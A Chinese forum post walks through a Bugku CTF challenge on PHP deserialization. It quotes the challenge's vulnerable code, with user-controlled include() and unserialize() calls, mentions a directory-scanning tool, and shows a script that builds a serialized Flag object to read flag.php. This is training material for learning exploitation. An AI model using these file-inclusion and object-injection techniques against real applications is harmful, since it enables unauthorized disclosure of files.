安全矩阵

 找回密码
 立即注册
搜索
查看: 2614|回复: 0

ctf实战-PHP反序列化漏洞

[复制链接]

221

主题

233

帖子

792

积分

高级会员

Rank: 4

积分
792
发表于 2021-6-6 09:54:38 | 显示全部楼层 |阅读模式
ctf实战-PHP反序列化漏洞Lesliecc96 小白渗透成长之路 昨天
收录于话题
#反序列化
2个
题目
http://123.206.87.240:8006/test1/
拿到题之后先看源码
  1. you are not the number of bugku !   
  2.   
  3. <!--  
  4. $user = $_GET["txt"];  
  5. $file = $_GET["file"];  
  6. $pass = $_GET["password"];  
  7.   
  8. if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
  9.     echo "hello admin!<br>";  
  10.     include($file); //hint.php  
  11. }else{  
  12.     echo "you are not admin ! ";  
  13. }  
  14. -->
复制代码



根据源码内容,修改post包
​得到一段base64编码,解码之后
​尝试修改post,得到
​base64解码之后,得到一段代码
  1. <?php  
  2. $txt = $_GET["txt"];  
  3. $file = $_GET["file"];  
  4. $password = $_GET["password"];  
  5.   
  6. if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
  7.     echo "hello friend!<br>";  
  8.     if(preg_match("/flag/",$file)){
  9.                 echo "不能现在就给你flag哦";
  10.         exit();  
  11.     }else{  
  12.         include($file);   
  13.         $password = unserialize($password);  
  14.         echo $password;  
  15.     }  
  16. }else{  
  17.     echo "you are not the number of bugku ! ";  
  18. }  
  19.   
  20. ?>  
  21.   
  22. <!--  
  23. $user = $_GET["txt"];  
  24. $file = $_GET["file"];  
  25. $pass = $_GET["password"];  
  26.   
  27. if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
  28.     echo "hello admin!<br>";  
  29.     include($file); //hint.php  
  30. }else{  
  31.     echo "you are not admin ! ";  
  32. }  
  33. -->
复制代码



下载SourceLeakHacker-master,SourceLeakHacker是一款敏感目录扫描工具。看到那个绿色的200表示能够成功访问,这就是扫出来的敏感路径

找到flag.php,重新修改之前的报文,得到

修改补全之前的Flag
  1. <?php  
  2.   
  3. class Flag{//flag.php  
  4.     public $file;  
  5.     public function __tostring(){  
  6.         if(isset($this->file)){  
  7.             echo file_get_contents($this->file);
  8.                         echo "<br>";
  9.                 return ("good");
  10.         }  
  11.     }  
  12. }  

  13. $o = new Flag();
  14. $o->file="flag.php";
  15. $o->__tostring();

  16. echo serialize($o);
  17. ?>
复制代码




序列化:serialize() 返回字符串,此字符串包含了表示 value 的字节流,可以存储于任何地方。
这有利于存储或传递 PHP 的值,同时不丢失其类型和结构。以下是序列化后对应值:
  1. String
  2. s:size:value;

  3. Integer
  4. i:value;

  5. Boolean
  6. b:value; (does not store “true” or “false”, does store ‘1’ or ‘0’)
复制代码
运行后得到结果:

得到flag.php内序列化后的内容,然后重新修改报文,提交之后的flag

最后拿到flag

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 04:52 , Processed in 0.036801 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表